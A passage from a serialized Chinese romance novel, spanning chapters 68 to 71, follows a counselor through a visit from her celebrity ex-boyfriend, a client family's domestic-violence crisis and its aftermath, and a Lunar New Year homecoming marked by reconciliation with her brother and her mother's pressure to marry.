林今世用拇指按开保温杯的盖子，送到她唇边： “里面是红糖姜茶。” 他们分手已经好几年了,但她每月的生理期，林今世都会为她提前买好了需要的物品，即是是在最忙的上升期,他也会找人送过来。 “……谢谢。”鞠言自己接过了保温杯，和林今世分开距离。 办公室是公用的，她怕等下有人回来。要是认出林今世,会引起不必要的骚乱，便用手扶着桌子站起身： “到我咨询室去吧。” 林今世把咨询室的门反锁上，才抬手摘下脸上的口罩。 在金发的衬托下,林今世显得愈发白了，可能是因为连轴转,他眼下有青晕,眼睛里似乎也有红血丝，明显是睡眠不足导致的。 鞠言：“……” 他从手里拿着的小包中取出一只暖宝宝递给鞠言,而后将止痛药拆了一颗出来。 “不用了,我今天已经吃过止痛药了。”鞠言没有接他递过来的暖宝宝，“没有别的事的话，你回去吧，马上就到医院的营业时间了，被人看见了不好。” “……”林今世收回手,撕开了重新递给鞠言，“别拿你的身体跟我置气。” 鞠言怕自己再不同意，林今世会直接上手替她贴好，只能接了过来，但并没有下一步的动作。 林今世背过身：“我不看你，现在贴。” 鞠言解开大衣扣子，把暖宝宝贴在小腹位置的里衣上，她把扣子重新扣号，低声道： “可以了。” “我助理说做这个能缓解痛经，等经期结束后，你记得做。” 林今世转回身，他把手里的那盒止痛药连同一只绿色盒子搁到桌上。 鞠言看了一眼，绿盒子上面印着“艾灸盒”三个字。 “……”她抿了下唇，收回目光：“我自己会买的，你拿回去吧。” 林今世没有回应她，他抬手把口罩戴上：“我走了。” 鞠言犹豫了一下，说道：“下次不要来了。” 这句话她已经说了许多次所以并没有引起林今世另外的情绪波动，他只是淡声给出和以前一样的回答： “不可能。” “……” 林今世开门出去，在走廊的拐角处与吃完午餐回来的乔楠等人擦肩而过。 穆晓菲敏锐地回过头，男人瘦高的背影在拐角处一瞥即逝。 穆晓菲有点想跟过去看看，但心里更担心鞠言，迟疑了下，还是跟杨欣他们一块儿快步朝办公室走去。 在办公室没看见鞠言，五人便又来她的咨询室找她。 杨欣把特意带来的热牛乳递给鞠言：“比比你好点了吗？” 鞠言接过牛乳，微笑道：“好多了，已经没事了。” 见她的脸色的确好了许多，众人放心起来。穆晓菲俯身到桌上： “比比，那个身形像林今世的来访者又来复诊了吗？” 鞠言双手捂着温暖的杯子，轻轻应了一声。 “你的咨询不是还没有开始吗？他怎么中午来了？”杨欣疑惑。 “他，他上次有东西落在咨询室了，来拿而已。”鞠言赶紧找了个理由搪塞。 “好想要微信啊，难得能见到有点像林今世的，可是违反职业道德了，真是折磨人！”穆晓菲嘟囔道。 杨欣：“比比上次不是说只有背影像吗？” “这已经很难得啦！林今世的比例你不知道有多好！” 穆晓菲边说，边兴冲冲地去掏手机：“我给你看照片——” 杨欣忙道：“打住打住！” “这个保温杯怎么是男款的？”贺思源把林今世给的保温杯拿在手里看。 “不会是小李总的吧？”穆晓菲立刻八卦地眯起了眼睛。 闻言，贺思源和乔楠同时看向了鞠言。 “不是不是！”鞠言不想再和李景显产生暧昧疑云，她将杯子拿回来，解释道，“是我哥的，他忘带回去了。” “你这人，比比上回就说过很小李总只是朋友啦。”杨欣无奈地用手指戳了下穆晓菲的脑袋。 鞠言认同地点点头：“晓菲，以后可不能再把我和小李总放在一起了，对他对我都不好。” “知道啦。”穆晓菲乖乖的点了点头，“我只是觉得你和小李总——”她连忙捂住了自己的嘴。 鞠言无奈地笑了笑。 谈话结束，大家各自投身于工作。 鞠言下午的第一场咨询即将开始，可是来访临时有事来不了了，鞠言也不想回办公室，缓步走回椅子边坐下。 隔着毛衣，暖宝宝的温度刚刚好，热烘烘的很舒服。咨询室静悄悄的，鞠言的思绪逐渐飘散，贴在肚子上的暖宝宝不知不觉变成了林今世的手。 耳畔隐约传来林今世低低的哼唱。 在交往时，每次她痛经，他都会将她抱在怀中，一边低声给她唱歌，一边用手轻轻地替她一遍遍揉肚子。 林今世的手心很热，比贴着暖宝宝还要舒服。 鞠言的睫毛轻轻颤了下。 如果当时他不是因为那个原因和她交往的该多好…… 可如果没有这个原因，林今世或许永远都不会注意到她。 久违的，鞠言的眼前出现了高中时的林今世，他身着校服，在无数道爱慕的目光中与她擦肩而过。 不经意间扫向她的眼神，冷淡 疏离。跟看其她女生的眼神似乎没有任何区别…… 鞠言打断发散的思绪，俯身趴回桌子上，胸口隐隐有些发酸。 经期的第一天往往特别的疲惫，鞠言整个人都昏昏沉沉的，才趴了一会儿，就不知不觉地睡了过去。 梦中，她似乎听见手机响了一声，鞠言爬起来，迷迷糊糊地点亮手机，是林今世发来的消息： 【肚子还痛吗？有没有好一点？】 “……”鞠言垂眼看着，有些生气又有些委屈。 这个如果没有那场谎言就永远不会与她产生交集的人一而再再而三地未经允许出现在了她的梦中。 鞠言的情绪上来了，回复道：【我讨厌你，我讨厌你，你知不知道！】 骂完林今世，鞠言重新趴到桌子上睡觉，几秒钟后，她猛然意识到刚刚那条消息很有可能并不是出现在梦中的。 鞠言立马清醒了，她坐起身，着急忙慌地点进了与那条“陌生号码”的聊天信息。 梦中的那条莫名其妙的回复赫然出现在了眼前，一分钟前刚发出去的。 鞠言：“……” 幸好发现的及时，鞠言松了口气，将发出去的消息撤回，刚想熄掉屏幕，手机却在这时微微震动了一下。 林今世：【我知道。】 鞠言：“……” 她想不出该怎么解释，手指在屏幕前犹豫了一会儿，干脆熄掉了屏幕。 片刻后，手机传来一声消息提醒，鞠言犹豫了一会儿，还是选择拿起来看一眼。 林今世：【怎么样才可以不讨厌一点？】 鞠言静静地盯着屏幕上的几个字，她自己也不懂自己，为什么已经原谅了鞠然，却迟迟不想原谅林今世。 鞠言闭了下眼睛，手指一下下用力地摁在键盘字母上： 【到此为止，可以吗？】 林今世秒回：【那你还是讨厌我吧。】 “……”- 结束了一天的工作，鞠言回到家里时已是身心俱疲，她快速冲了个澡，连歌都没有听，便倒到了床上休息。 没有提前暖过的被窝像是冬日里冰凉的脚尖。一趟进去，鞠言就不自觉蜷紧了身体。 莫名的，她忽然想念起林今世的身体所散发出的那股温暖。 鞠言懵了一下，忙将脑内突如其来的想念赶跑。 好在新换的厚被褥虽然冷，却很柔软，被窝浅浅暖起来后，鞠言一点点进入了梦乡，刚快睡着了，手机忽然响了起来。 鞠言的太阳穴一抽一抽地传递着痛觉，她费力地睁开沉重的眼皮，有些烦躁地摸过手机看了一眼。 来电显示：沈小简 鞠言立刻清醒了大半，她将电话接起来，调整透出困倦的声音： “怎么了小简？” 电话那头迟迟没有传来声音，鞠言有些紧张起来，她已经彻底清醒了： “是你爸爸又打你妈妈了吗？” 隔了好一阵，才传来沈小简微弱的颤声：“嗯……” 鞠言的心一紧：“我马上过来。” 她没有将电话挂断，来不及换衣服，只在睡衣外罩了件羽绒服就匆匆出了门。 鞠言打了辆车，赶往了沈小简家所在的高档小区。 路途中，沈小简告诉她，自己报了警，警察已经来了。 有警察在，鞠言稍稍松了口气。 在焦心的等待中，车子终于驶到了目的地。 外来车辆没有登记，过不了门禁，只能停在小区门口，鞠言下了车，小跑着进入小区。 小区内回荡着若隐若现的警笛声，沈小简家所在的单元楼下已经乱成一锅粥，两辆警车，一辆救护车发出的红蓝警示灯刺眼的光线划破了夜色。 周围有一圈人在围观，鼎沸的议论声与警报声交织在一起，听起来尤为刺耳。 鞠言拨开人群挤进去，恰好看到两个身着白衣的医护人员抬着担架急匆匆地从大厅出来。 担架上躺着沈小简的妈妈李佳静，她的鬈发很乱，自己用手上的纱布摁着额头，白纱布隐隐透出血色，她的鼻梁被打断了，高高的凸起一块，开裂的伤口绽着深红的皮肉，触目惊心。 第69章 见状,鞠言身旁的一个大婶倒吸了一口气，喃喃自语：“子东平时多么有涵养的一个人，怎么打起老婆来怎么狠。” 身旁有人搭腔：“听说还摁着老婆的头往电视机上撞……真是一点儿也看不出来啊！” 沈子东戴着手铐走在两名警察中间,仍是平日里那副文质彬彬的模样，只是脸上多了几分窘意,若不是他拳峰还沾着刺目的血迹，恐怕很难让人信服李佳静身上的伤真的是他造成的。 围观的人群中有人骂了一句：“禽兽不如！” 鞠言小跑到警察身旁,她懒得看一眼身旁的“伪君子”，问警察道：“请问报警的小女孩现在在哪里？” 其中一名年轻警察问道：“你是她的亲戚？” 鞠言回答道：“我是她的咨询师。” 年轻警察打量了她一眼，随后为她指明了方向。 沈小简蹲在一处角落里,整个人缩成小小的一团，不仔细看很难注意到她，旁边蹲着一名女警察正在安抚她,但沈小简毫无反应。 鞠言赶快跑过去。 “小简。”她轻轻地喊了她一声。 听见了她的声音，沈小简仰起脸，小声地喊了声：“姐姐。” 鞠言在她身旁蹲下,伸手环抱住她颤抖的肩膀，柔声道：“已经没事了。” 李佳静被送去了医院,沈子东在派出所,鞠言不放心被吓坏了的沈小简一个人待在已是一片狼藉的家里，便领着她去了自己家附近的酒店。 她在酒店开好了房间,陪着沈小简上楼。 看着蜷缩在被子里一动不动的沈小简,鞠言心疼极了，亲手把自己的父亲送进监狱，对一个只有十几岁的女孩来说太残忍了，可是如果不这样做，沈子东的暴力迟早会将李佳静推向深渊。 因为从没有得到应有的惩罚,沈子东的暴力倾向一直在加剧，短短几个月的时间，沈小简就偷录到了十几次沈子东动手殴打妻子的证据。 有了这份确凿的有力证据，沈子东最后不仅丢了工作，还因为家暴被判处了三年的刑事拘留- 不知不觉间，距离新年就只剩不到三天了，乔楠她们已经开始期待起了年假，都兴奋极了。 中午时间，鞠言静静地听着穆晓菲她们谈论自己家乡过年的风俗，她许久没有回去过年了，听着她们讲起的内容，有一种异样的陌生与怀念。 搁在衣兜里的手机忽然响了起来，鞠言看了眼，是沈小简打过来的。 她走到无人处把电话接起来。 听筒传来沈小简低低的声音： “姐姐，我爸爸，死了。” “……”鞠言怔了怔。 或许是因为在外人眼中的“好男人、优秀精英”形象破灭，沈子东在一个夜晚选择了自尽。 “我…是不是做错了？”沈小简的声音开始发抖。 “不是你的错，是你保护了你的妈妈。”鞠言坚定地说，“是他选择了用死亡逃避现实。” 手机另一头静悄悄的，许久，鞠言终于听清了对面人发出的轻微的哭泣声。 …… 鞠言心里一直牵挂着沈小简的状况，临近期末学业忙，又出了沈子东的事，沈小简已经有好一段时间没有来了。 这一通电话后，鞠言更加放心不下了，下班后，她没有直接回家，而是 特意换乘了另一班地铁打算去看看沈小简。 地铁到一站停下，一大波人涌了出去，鞠言找了个空位置坐下，她把包放到膝盖上，正打算闭上眼睛养会儿神，耳机中的音乐声忽然变轻了一瞬。 鞠言拿出手机看了眼刚收到的微信，叶珊给她发了一张图片，是拍摄的厨房内许多还未做的海鲜还有蔬菜的照片。 底下配字： 【准备了你喜欢的虾，爸爸还说要去买小青龙。】后面配了一个笑脸。 看着屏幕中带着讨好的文字，鞠言不免有些心涩，既然已经原谅了鞠然，是不是也该给自己的父母一次机会。 鞠言沉默了一会儿，回复道：【嗯。】 叶珊很快回了语音过来，她掩不住的喜悦声音透过耳机传来： “那要吃什么菜想好了告诉我，妈妈去买，到时候让你哥来接你，春节挤来挤去的不方便！” 鞠言简单了回复了个：【好。】 …… 是李佳静来开的门，几月不见，她脸上的伤已经好了的差不多了，但是鼻骨上还残留着一道红肿的疤痕，或许随着岁月的洗涤这个触目的疤痕能再淡去一点，但想要完全抹掉，是不可能的。 李佳静没想到来的会是她，眼中闪过一瞬的惊喜，她俯身从鞋柜里拿了一双干净的棉拖鞋放到鞠言脚旁： “请进。” “谢谢。” 鞠言换上拖鞋跟着她进屋，客厅收拾的很干净，那个夜晚的的狼藉早已不存在，只有拿掉电视机后背景墙上的四个安装孔在提醒着看见它的人们，那个恐怖的夜晚并不是一场梦。 李佳静请她在沙发上先坐会儿，沈小简还在房间写作业。 鞠言明白李佳静是想找个人聆听自己不能向女儿表露的痛苦，虽然这并不是她的义务，但鞠言还是坐了下来。 “我丈夫的事情，您都已经知道了吧？” 鞠言微微点头。 李佳静的眼睛红了，随着低头的动作，两行泪顺颊而下。 鞠言从纸盒里抽了两张纸巾递给她。 李佳静擤了擤鼻子，哽咽道：“我是不是不应该哭的？” “人之常情，毕竟一起生活了这么多年。”鞠言安慰她。 开解了李佳静几句，鞠言起身去沈小简的房间看她，这也是她此行目的。 鞠言走到沈小简的房间外轻轻叩了叩门，沈小简还不知道她来了。 “我还在写作业。”沈小简冷淡的声音从里面传出来。 鞠言轻柔道：“小简，是我。” 屋内传来脚步声，没几秒，门就被打开了。 沈小简出现在她的眼前，她比前段时间瘦了一些，但是并不憔悴。 沈小简向旁退开让她进去：“鞠言姐姐，你怎么会来？” “我有点担心你。”鞠言微笑着在她的脑袋上摸了摸，“这几天感觉还好吗？” 沈小简朝她漾出一个若有若无的苦笑：“还好……” 鞠言陪着沈小简坐下，她的出现似乎让沈小简心情好了不少，她像只小猫似的偎在鞠言身旁，小声地跟她讲了许多发生这件事以来自己的想法与感受。 沈小简告诉鞠言，李佳静已经决定自己出去找工作了。 鞠言认真地听着，只在需要的时候出言几句。 门上传来两声轻叩，李佳静开门进来，鞠言在一瞬间想到了叶珊也是这样，象征性敲门后便直接开门进来。 “鞠医师，留下来吃晚餐吧，我现在出去买菜。” “不麻烦了。”鞠言站起身，把包包挎到肩膀上，“我要回去了，太晚了赶不上地铁。” 沈小简站起身想送她。 “你写作业吧。”鞠言微笑道。 沈小简摇了摇头，坚持要送她下楼。 “那小简，我可以先跟你妈妈单独说几句话吗？” 沈小简对她很信任，鞠言的要求并没有引起她一丝反感，她点点头：“那待会儿我可以送你吗？” 鞠言甜笑道：“当然可以呀。” 沈小简跟着她笑了，她走回屋内，轻轻把门虚阖上。 “如果可以的话，以后进小简的房间可以先敲一敲门，青春期的孩子最看重隐私了。”鞠言向李佳静提出建议。 李佳静怔了下，浅笑道：“小孩子哪有什么隐私。” “不管是成年人还是未成年人都有自己的隐私，都需要隐私空间，如果您想和小简关系更加和睦的话，这是一个很必要的点。” 李佳静显然还不是很理解，她缓缓点了点头：“……那我试着控制的。” 说完了话，沈小简出来送她下楼，在电梯里，沈小简告诉她，李佳静已经决定要去找工作了，等处理完后续的事情，妈妈还打算带她去旅游散心。 “我和妈妈的生活从今天起应该会变得越来越好。”沈小简轻声道。 鞠言微笑听着，也很为她们高兴。 “一定会的。” 原本说好是送她到楼下，但沈小简还想多和她待一会儿，鞠言也不再拒绝，沈小简一直陪着她走到了小区外。 打的车已经到了，鞠言微笑着朝沈小简挥了挥手：“我走啦。” 沈小简望着她，轻轻地挥手回应：“姐姐再见。” 鞠言一边拉开车门，一边回头对沈小简道： “小简，提前祝你新年快乐！”- 新年在即，小区的树木上已经挂上了一只只毛茸茸的小红灯笼，鞠言提前牵着收拾好的行李箱等在楼下。 五分钟不到，一辆普通的越野车驶进了小区，拐了个弯在鞠言面前停稳。 戴着墨镜的鞠然跳下车来，想帮她拿行李箱。 “我自己来就可以了。”鞠言把行李箱提进后备箱内放下。 鞠然是从玉雾开了大半天的高速特意到清津来接她的，鞠言有些不好意思，放好行李，她走到驾驶座旁拉开车门想进去。 鞠然抢在她前面钻了进去：“干嘛？想抢你哥的位置？” 鞠言：“回程的路我来开。” “你也太小瞧你哥了。” “我是怕你疲劳驾驶不安全。”鞠言伸手拽了拽鞠然的袖子，示意他让座。 “哪有那么夸张。”鞠然坐着不肯动，“赶紧上车，再废话待会儿回去天都要黑了。” 鞠言不再跟他争当司机，走到副驾驶坐下，她一边系安全带，一边道：“那你累了可要及时跟我换。” “没可能！”鞠然自信地打转方向盘。 为了庆祝即将到来的新一年，清津的阻隔带特意种上了一行喜庆的小丽花。 车子驶过市中心，商城广场外占据了二分之一建筑面积的电子广告屏上正在播放着林今世的新年祝福，红色的中式西装使他薄情的脸上多了一点不一样的温柔。 许多女生正叽叽喳喳的站在广告屏前举着手机打卡。 “……”鞠言的目光在他的脸上一掠而过，不再去看。 鞠然的心情很好，一边开车一边跟着车载音响哼着歌，哼着哼着，逐渐变成了大声跟唱。 到后来，他干脆把音乐换成了伴奏，自己唱起来，他唱到一处停下，对鞠言道： “你接下一句。” “才不来。” “别那么无趣啊！”鞠然侧脸看了她一眼，一只手管着方向盘，一只手打着拍子。 鞠言忙道：“诶，你好好开车，别撞了。” 鞠然的手停住了打拍子，然而到了一处红绿灯口，他又忽然降下车窗，冲着其他等候红灯的车辆大声喊： “新年快乐！” “你怎么又变成人来疯了。”鞠言简直受不了鞠然这个家伙。 话音未落，后侧的一辆车子降下了车窗，一个大汉操着浓重的口音回应他：“小伙子，新年好！” 对面车的车窗也降了下来，探出一只萨摩耶的脑袋，主人的声音从它身后传出来：“新年快乐。” 萨摩耶也微笑着探出脑袋冲着他们“汪汪”叫了两声。 鞠言弯起眼睛：“鞠然，你的同类在跟你打招呼呢。” 鞠然并像以前那样没有反驳，反而侧过脸冲着那只萨摩耶学了几声狗叫。 得到了回应，萨摩耶叫得更兴奋了。 回程的车辆多，路道中维持秩序的交警足比平日多了两倍，一个年轻的交警叼着哨子从他们车旁走过，鞠然也冲着他大声喊：“警察叔叔，新年快乐！” 鞠言无语道：“……他应该没比你大几岁。” 小交警的眼睛笑了，他冲他们的车子吹了下口哨，以示回应。 绿灯亮了，鞠然一脚油门，车子往前冲去。 “祝我们一路顺风——”他带笑喊道。 “……” 鞠言莫名 觉得现在的鞠然很像是一只在发疯的哈士奇……不对！是比格！ 鞠然就这样一直吵到了快上高速，他的亢奋劲才过去，不过他再吵下去也没关系，因为鞠言已经麻木了。 通过收费站，车子驶入了通往玉雾方向的高速公路，鞠言的感觉有些异样起来——这条路上的车辆几乎都是赶往玉雾的，车里都是跟她一样回家乡过年的人。 虽然素不相识，但她莫名的对他们有一种亲切之感。 到了下一个服务站，鞠言逼鞠然停下车，强行把他赶到了副驾驶，自己来开车。 行驶完剩下的两个小时路程，玉雾的标志性建筑逐渐清晰在视线中。 一整年没有回来，对这座自己从小生活的城市，鞠言略感陌生。 车道两旁的树木上都挂上了灯笼来装点新一年。纸做的鱼灯与圆形的红色竹骨灯笼在傍晚朦胧的光线中散发着莹亮的光。 鞠言轻声道：“玉雾的灯笼比清津的漂亮。” 鞠然用理所当然的口气回答她：“那当然！” 第70章 家门口已经贴上了一对崭新的春联。 鞠然边用指纹打开锁,边回头道：“密码是妈的手机尾号，不过等下你还是把指纹录一下吧，更方便。” 在玄关处换了棉拖鞋,进到屋内。 鞠旭阳正伏在客厅的桌上给一个“福”字背面贴双面胶。 “爸。”鞠言喊了一声。 鞠旭阳没有抬头，只应了一声：“回来了。” “嗯。” 叶珊没在客厅,鞠言便先将行李箱牵去自己的房间，知道她要回来,叶珊已经特意铺好了被子，也重新打扫了一遍，屋子里很干净,一点儿灰尘也没有。 鞠言把行李箱牵到门旁放好，走出房间，到厨房去找叶珊。 等她从自己身旁走过,鞠旭阳才抬起眼，悄悄注视着女儿已经有些陌生了的背影。 厨房里热气蒸腾，叶珊背朝着门,正站在水槽前洗菜。 “……”鞠言盯着她系着围裙的背影看了几秒，喊道：“妈,我回来了。” 叶珊怔了下,随即猛地旋过身来。 鞠言微微弯眼又喊了她一声。 叶珊仓促地把两只湿漉漉的手在围裙擦了擦，她走到鞠言跟前,心疼地用两只手心捧着她的脸瞧,叶珊皱起眉：“是不是老是吃外卖？你看看你瘦的！” “哪有……”鞠言没有底气的小声反驳。 叶珊数落道：“我告诉你，那些外卖都是有毒的，你平时买个锅在家自己煮一顿二十分钟都不用，就是懒！” “嗯……嗯。”鞠言嘴上敷衍的应着，垂下眼看起了厨房里的菜。 时隔多年的第一个“团圆年”叶珊准备的菜品丰盛极了。 多宝鱼柔软地趴在叶形的白瓷盘内待蒸,个头肥大的罗氏虾正在水槽舒展着蓝色的细长钳子…… 鞠言一边陪着叶珊说话，一边像小孩子似的偷偷揭开保鲜膜拿了块三文鱼送进嘴里。 备好了菜，叶珊拉着鞠言到客厅的桌前坐下，她戴上眼镜，在手机相册里翻找起照片。 “……”鞠言心里有些难过。 叶珊将存在手机里的照片递向鞠言： “你看这个小伙子怎么样？军校学生，家里还是拆迁户，玉雾有七八套房，他妈妈把你的照片给他看了，他说愿意处处看。” 鞠言没有朝屏幕上的年轻男人瞧一眼：“妈，我还不想结婚，以后再说吧。” 叶珊拉了拉她：“又不是要你现在就结婚，你自己算算，恋爱要谈两三年，订婚结婚又是一年，等到生孩子是不是刚刚三十岁了？” “比比才几岁，你干嘛那么着急想把她嫁出去。一回家就开始催婚。” 鞠然的语气有些不耐烦，他把装着牛奶枣的盘子搁到鞠言和叶珊面前，朝鞠言抬了下脸，示意她吃水果。 叶珊：“她现在已经27岁——” 鞠然打断她：“25。” 叶珊语气变得坚决：“我们都是说虚岁的。” 鞠然和她争：“那医院为什么都显示的是周岁？” “我不跟你扯，”叶珊说不过鞠然，只能白了他一眼，转过头继续给鞠言介绍那个男孩的情况，“那个男孩的妈妈说了，他就想找个文静温柔的——” 鞠然不爽地“嘁”了一声：“他还挑上了？” 再度被他打断，叶珊有些生气，扬起手作势要打他：“我给你妹妹相亲，你怎么这么多话？” 鞠然不解释，只是朝她吐了下舌头。 叶珊忽然醒悟，笑起来：“你舍不得了是不是？” 鞠然“哼”了一声，轻声道：“我就这一个妹妹。” “这样就受不了了，那以后妹妹结婚的时候怎么办？还得让你把她抱上婚车呢。”叶珊故意拿他打趣。 鞠然攒了攒眉，没有回答，看表情有些郁闷了。 叶珊又做起鞠言的思想工作：“囡囡我跟你说，他家光是收收房租一年就有几百万，你要是真的和他成了，下半辈子就不用愁——” “妈，我自己有工作，不需要靠任何人养着。”鞠言打断她。 “又不是让他养你，你现在年纪轻不懂，找个有钱工作又好的老公对一个女人来说有多重要，而且你现在的年纪刚刚好，等再大几岁，你想找，也找不到好的了！只能挑别人剩下的。” 鞠言有些烦了：“没有合适的我就不结婚了，一个人过也挺好的。” 鞠旭阳也被吵得有些头疼，他按了下遥控器把电视打开，频道正在播放春晚前明星的祝福视频，林今世蓦然出现在了屏幕上，他的神色仍旧很淡，懒散的声音从电视机内传出来： “我是演员林今世，祝大家新春快乐，万事如意。” 他的声音出现的一霎那，兄妹俩的身体同时一滞。 鞠然立刻有些坐立难安起来。 “跟你们现在的小孩说不清楚！”叶珊气哄哄地站起身去看蒸在锅里的鱼。 趁着她去厨房了，鞠言伸手推了下低着脑袋的鞠然，压低声音道：“我才不听她的。” 鞠然冲她做了个无奈的表情。 怕叶珊出来还要啰嗦，鞠言拉了拉他的袖子：“咱们到楼下去玩会儿。” 借着去超市买饮料的借口，他们溜到了外面，时间还早，鞠言也不想那么快回去再听叶珊的唠叨，便先拉着鞠然陪她去玩小区里的漫步机。 看着鞠言明显松了一口气的模样，鞠然笑道：“你回来才知道我有多惨了吧？” 鞠言点点头：“有心理准备都架不住她这样劝。” “倒是你，这几年怎么都没见你再谈过恋爱？有点不像某人的作风啊。”鞠言两脚踩到漫步机的踏板上，有一下没一下的荡着。 “挑来挑去没找到对眼的，时间一久也就不想谈了，还是一个人舒服自在。”鞠然俯身趴到旁边的扶手上，自嘲地说道，“可能要一辈子单身了。” “这么夸张？”鞠言笑起来，“用不用我给你介绍合适的？” “读书的时候谈得太勤，搞得现在清心寡欲了。”鞠然摆了摆手。 “别是因为之前被甩了留下阴影了吧？” “才没有。”鞠然尴尬地笑了一下，边说边从兜里掏出烟盒，冲鞠言摇了摇：“我去抽支烟。” “不许抽。”鞠言一把将鞠然刚抽出来的那支烟连同烟盒一起夺了过来，揣进了自己兜里，她蹙起眉，“你们都怎么回事……” “你们？除了你哥还有谁让你那么关心啊？”鞠然笑着伸手过来想把烟拿回去。 鞠言怔了怔，拍开他的手：“你别想转移话题！” “好吧好吧，不抽了。”鞠然无奈地摆了下手。 旁边的黄色秋千上有两个七八岁的小孩在荡着，一阵阵童稚的尖笑声传过来。 “记不记得小时候我经常推着你荡秋千？”鞠然盯着在寒风中来回晃动的秋千看。 童年的回忆在眼前浮现，鞠言笑了：当然记得，有一次推的太用力 还把我吓哭了。” 鞠然回过脸看向她：“你要不要坐？我推你。” 小区只有一副双人大秋千，鞠言看了看坐在上面的两个小孩，他们明显还在兴头上，估计一时半会不会离开。 “小朋友正在玩呢，算了吧。” “我只是问你想不想玩，想玩的话，哥有的是办法。” “你不会要对小朋友使用暴力吧？” “好主意。” “……？” 鞠然走到两个小孩面前，双手撑膝俯下身对他们笑道：“让大哥哥和大姐姐玩一会儿好不好？” 两个小孩彼此看了一眼，有些不太情愿。 鞠然拿出手机：“哥哥请你们去买鞭炮。” 他往其中一个小孩的电话手表里扫了些钱，两个小孩欢天喜地跑走了。 鞠然低下胳膊，对着鞠言朝空秋千做了个“请”的动作。 鞠言在秋千上坐下，鞠然绕到背后轻轻推起来。 微微荡起的风，把她额边的碎发往后拂去，世界在鞠言眼前小幅度的一起一落。哥哥长大了，不再像小时候那样总是喜欢把秋千荡得越高越好。 “比比。”鞠然忽然喊了她一声。 “嗯？”鞠言没有回头。 他的声音自后方传来：“对不起。” 很轻，但由于距离很近，鞠言听得很清楚，她的身子微僵，片刻后，轻声道：“嗯。” 安静片刻，鞠言喊道：“哥。” “嗯？” “那段时间，我特别恨你。” 鞠然轻轻笑了笑。 坐了一会儿，鞠言回过头问：“你要坐吗？我来推你。” “好啊。”鞠然用手拉住秋千靠背让它停止晃动。 鞠言从秋千上下来，绕到秋千后面去。鞠然从她身旁经过时，她看到他的眼眶红红的，似乎是哭过了。 见她发觉了，鞠然忙偏开了脸，鞠言抬手想去掰他的脸。 “怎么还哭了？” 鞠然仰起脸不让她碰到： “风吹的。” 鞠然既然不好意思让她看见，鞠言也就不执着了，她收回手，推着鞠然在秋千上坐下，鞠然别扭地坐在秋千上，垂下脸不让她看见他的眼睛。 “我不看你。”鞠言走到秋千后，用力推起来。 推了没几下，她的手就有些酸了，“你怎么这么沉。” “不是你自己说要推我的吗？”鞠然边笑着说，边从秋千上站了起来，“真没用。” “我后悔了。”鞠言揉着有些发酸的手。 “来坐会儿。”鞠然拍了拍隔壁的位置。 “不了，去超市吧。”鞠言伸手拉他起来- 简单地拿了几瓶饮料，鞠言又挑了几样晚上想放的小烟花小爆竹，随后便去找鞠然。 鞠然蹲在地上选摆最底层货架的苏打饼干，看着他毛茸茸的短寸头，鞠言忍不住用手摸了摸。 “像狗毛。” 鞠然怔了下，蹲在地上回过头：“胆肥了？敢摸你哥的脑袋？” “就许你每次捣乱，不许我摸一下？” “好好好，你摸你摸！”鞠然朝她低下脑袋，“让你摸个够。” 鞠言满意地又在他脑袋上用双手搓了搓，才收回手： “还是猫咪好摸。” 鞠然站起身，拿挑好的饼干在她脑袋上打了一下：“得寸进尺了啊！” 鞠言笑眼弯弯：“要不要再买一点大烟花？” “不用，知道你要回来，爸前几天早就买好了，他虽然不说，但是可高兴了。” “……” 鞠言没有说话，鞠然告诉她的事并没有让她的心情有什么变化，似乎也没什么感动的情绪，无论如何，鞠旭阳和叶珊曾经的偏心早已是无法改变的事实。 她现在不恨他们了，但也感动不了。 手里响了一声，是叶珊发在家庭群里的消息，可以吃饭了。 两人折身回家。 饭桌上，叶珊一人一只给鞠言和鞠然剥虾，鞠言止住她： “妈，我们自己来就好，你吃饭吧。” 有男人的手把一只带着大块虾黄的虾放到了她碗里，这只手的指关节褶皱比较深，手背上也有细碎的皱纹，不是鞠然的。 鞠言微微错愕，她看过去，鞠旭阳收回手，顾自拿起筷子夹菜。 “谢谢爸。”鞠言垂下眼，将虾送进嘴里。 …… 吃完了一顿丰盛的年夜饭，收拾好餐桌，鞠言和鞠然一起洗了碗。 鞠旭阳已经把那一大箱烟花搬到了天台上，叶珊催促着他们上楼。 推开通向天台的门进去，一阵寒风扑面而来，鞠旭阳正在抽烟，看到了他们上来了，他把烟捻灭，从口袋中拿出打火机俯下身把烟花的引线点燃。 叶珊期待地捂住了耳朵，鞠然也伸手过来，替鞠言捂上。 烟火咻咻咻飞上天去，宛若昙花般盛开。 鞠言静静地仰头望着，余光中，她看到鞠旭阳已经走到了叶珊身旁，叶珊挽着他的手臂，幸福的神情一次次被烟火的光照亮。 烟火放完了，鞠然放下手，他的声音自鞠言的耳后传来： “比比，谢谢你回来。”- 看完烟花后鞠言和鞠然便窝在沙发上看起了恐怖片，这部电影是鞠言初中时看过的，直到去年才出的第二部，她工作忙，一直没空看，趁着今晚没事，干脆在看第二部前先重温一下第一部的情节。 第二部电影鞠然已经看了一遍了，哪里会出现恐怖的情节他都知道，但是他不会再像从前那样来吓她了。 等两部电影都播放完，已经是凌晨五点多了。 一觉沉沉地睡到了中午，鞠言才终于被一直没有间断过的鞭炮声叫醒。 本来今天中午是要去走亲戚的，但表叔家不仅小孩子多，烟鬼也多，鞠言和叶珊都不愿意去，鞠旭阳只能和儿子一块去了。 只有母女俩在家，吃完了叶珊给她做的桂花炒年糕，鞠言洗了碗，陪着叶珊在客厅看电视剧。 看着看着，叶珊又将话题引到了结婚上： “大年初二了，本来你爸都该收女婿送的香烟了，你什么时候带个女婿回来？” 鞠言刚从果盘里拿了颗小圣女果，一下子连嘴里都没味了：“妈，你怎么又开始催了……” “不是我催，是你到年龄了——” 鞠言从沙发上起来，趿上拖鞋想去卧室拿耳机。 门铃忽然响了起来。 “肯定是你爸爸和你哥哥回来了。” “这么快就回来了吗？” 鞠言刚走到卧室旁，她折身回去，先把门打开。 意料之外的来人使她一怔。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 李景显穿着一件华贵的棕色大衣,衬得整个人愈发风流倜傥，光彩夺目。和因为今天不用出门而穿着成套棉睡衣的鞠言形成了惨烈的对比。 “李，李总？” 李景显朝她笑道：“怎么,几天不见不认识我了？都喊上李总了。” 鞠言从鞋柜内找了双男拖鞋搁到地上，“李总你怎么会来玉雾？” “我来玉雾看朋友,顺带到你这儿来一趟，怎么,不欢迎？”李景显换好鞋，走进屋内，余光瞥见怔怔的叶珊,他侧过头，眼睛笑起来： “阿姨好。” 